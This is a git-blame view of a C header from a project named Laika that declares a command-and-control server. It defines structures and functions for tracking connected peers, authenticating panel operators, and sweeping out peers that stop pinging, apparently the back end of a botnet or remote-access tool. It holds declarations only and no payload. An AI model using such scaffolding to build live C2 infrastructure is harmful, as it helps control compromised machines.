2022-01-24 03:28:16 +00:00
|
|
|
#ifndef LAIKA_CNC_H
|
|
|
|
#define LAIKA_CNC_H
|
|
|
|
|
|
|
|
#include "laika.h"
|
2022-01-24 15:51:29 +00:00
|
|
|
#include "lpacket.h"
|
2022-01-24 03:28:16 +00:00
|
|
|
#include "lsocket.h"
|
|
|
|
#include "lpolllist.h"
|
2022-01-24 16:34:30 +00:00
|
|
|
#include "lpeer.h"
|
2022-04-13 17:19:06 +00:00
|
|
|
#include "ltask.h"
|
2022-02-28 22:27:55 +00:00
|
|
|
#include "hashmap.h"
|
|
|
|
|
2022-04-13 17:19:06 +00:00
|
|
|
/* kill peers if they haven't ping'd within a minute */
|
|
|
|
#define LAIKA_PEER_TIMEOUT 60 * 1000
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
struct sLaika_cnc {
|
2022-02-03 22:25:49 +00:00
|
|
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
2022-01-24 03:28:16 +00:00
|
|
|
struct sLaika_socket sock;
|
2022-01-24 16:34:30 +00:00
|
|
|
struct sLaika_pollList pList;
|
2022-02-28 22:27:55 +00:00
|
|
|
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
|
|
|
struct sLaika_peer **authPeers; /* holds connected panel peers */
|
2022-04-06 04:57:37 +00:00
|
|
|
uint8_t **authKeys;
|
|
|
|
int authKeysCount;
|
|
|
|
int authKeysCap;
|
2022-02-28 22:27:55 +00:00
|
|
|
int authPeersCount;
|
|
|
|
int authPeersCap;
|
2022-04-06 04:57:37 +00:00
|
|
|
uint16_t port;
|
2022-01-24 16:34:30 +00:00
|
|
|
};
|
|
|
|
|
|
|
|
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
|
|
|
|
void laikaC_freeCNC(struct sLaika_cnc *cnc);
|
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
void laikaC_bindServer(struct sLaika_cnc *cnc);
|
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
|
|
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type);
|
|
|
|
|
|
|
|
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
|
|
|
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key);
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
|
|
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
|
|
|
|
|
|
|
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
2022-01-24 03:28:16 +00:00
|
|
|
|
2022-04-13 17:19:06 +00:00
|
|
|
/* kills peers who haven't ping'd in a while */
|
|
|
|
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
|
|
|
|
|
|
|
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
|
|
|
|
2022-01-24 03:28:16 +00:00
|
|
|
#endif
|